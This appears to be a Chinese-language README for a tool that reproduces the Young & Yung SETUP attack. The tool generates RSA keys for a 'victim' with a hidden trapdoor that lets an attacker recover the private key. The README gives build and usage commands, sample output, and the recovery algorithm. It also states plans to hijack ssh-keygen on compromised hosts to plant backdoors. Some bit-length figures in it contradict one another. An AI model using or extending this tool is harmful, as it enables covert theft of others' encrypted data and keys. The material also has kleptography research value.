RSA后门生成器

此仓库包含重现Young & Yung在1996年提出的RSA密钥生成中“秘密嵌入带通用保护的陷阱门”（SETUP）攻击的代码。考虑到此攻击的潜力，永远不要信任黑盒密钥生成系统。

使用

首先生成你的攻击者密钥，然后生成带后门的密钥。

# 构建
go build generator.go
go build decryptor.go

# （可选）生成你（合法）的RSA密钥
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem

# 生成带后门的密钥
./generator -pk attacker_pub.pem

# 输出
------
[*] 正在生成4096位SETUP...
    > 这可能需要一些时间...
------

------
[*] 找到参数：
    > p 位长度：256
    > q 位长度：3840
    > n 位长度：4096 // 最终密钥长度
    > 所需尝试次数：542692
------

------
[*] 带后门的密钥已保存到：
    > 私钥：out/victim_priv.pem
    > 公钥： out/victim_pub.pem
------

------
[*] 测试命令：
    > echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // 使用SETUP公钥加密
    > ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // 使用攻击者私钥解密
------

如果受害者信任收到的密钥（这些密钥看起来完全正常且按预期工作），他们将使用它来加密一些数据，例如：

# 加密
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin

# 验证
echo out/cipher.bin | base64

关键在于，攻击者可以使用受害者的公钥和自己的私钥解密消息。例如：

# 解密
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin

# 输出
------
[*] 加载密钥和密文...
    > 已加载受害者公钥
    > 已加载攻击者私钥
    > 已加载密文
------

------
[*] 从SETUP推导私钥...
    > 公钥位大小：2048
    > 使用s1找到有效因子分解
    > 恢复p（位长度：256）
    > 恢复q（位长度：3840）
    > 恢复d（位长度：4092）
------

--- 解密消息 ---
 ��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s        �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
                                      �ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
        �y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$�޶��WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------

它是如何工作的？

如需了解此攻击的完整细节，请查看开头的两个链接。以下是此攻击的高级概述：

正常RSA密钥生成（基准）

生成两个大的随机素数 p 和 q（对于2048位密钥，每个约1024位）。
计算 n = p · q。
选择公钥指数 e（通常是 2¹⁶+1）。
计算 d，使得 e · d ≡ 1 mod φ(n)，其中 φ(n) = (p–1)(q–1)。
公钥：(n, e)；私钥：d。
加密：c = mᵉ mod n；解密：m = cᵈ mod n。

窃密（SETUP）RSA密钥生成

选择一个1024位素数 s，计算 p = H(s)（重复直到p为素数）。
用攻击者的密钥加密 s：c = sᴱ mod N。
随机选取 z。
构造 q，使得 c || z = p · q + r，其中 r 为任意余数；若q不是素数则重试。
计算 n = p · q，正常设置e，并像标准RSA一样计算 d。
输出看似正常的公钥 (n, e) 和私钥 d —— 但带有隐藏的陷阱门。

攻击者恢复受害者私钥

取 n 的高 n/2 bits 作为 u（约1024位）。
定义 c₁ = u 和 c₂ = u + 1（以处理c||z嵌入中可能的位丢失）。
用攻击者的私钥 D 解密：
- s₁ = c₁ᴰ mod N，s₂ = c₂ᴰ mod N。
计算候选素数：
- p₁ = H(s₁)，p₂ = H(s₂)。
计算 q₁ = n / p₁ 和 q₂ = n / p₂；能产生整数的除法揭示了真正的 p 和 q。
从 (p, q, e) 重新计算 d。
攻击者现在完全恢复了受害者的RSA私钥。

改进

目前程序使用ProbablyPrime()来检查给定的n是否为素数。ProbablyPrime()执行n次Miller-Rabin测试来检查x是否为素数。如果返回true，x是素数的概率为1 - 1/4^n。如果返回false，x不是素数。因此，后门生成存在非零的失败概率（无法求解Q）。如果发生这种情况，只需重新运行工具。

未来工作

支持以下格式：ssh-rsa, ssh-dsa, ssh-ecdsa。理论上SETUP对这些格式是可能的，而ssh-ed25519对SETUP有抵抗力。这样，私有的SSH密钥就可以从通过ssh-keyscan获取的公钥中推导出来。我还计划提供一个小的工具来劫持受损主机上的ssh-keygen，以自动进一步植入后门……待续。

RSA-Backdoor

最受欢迎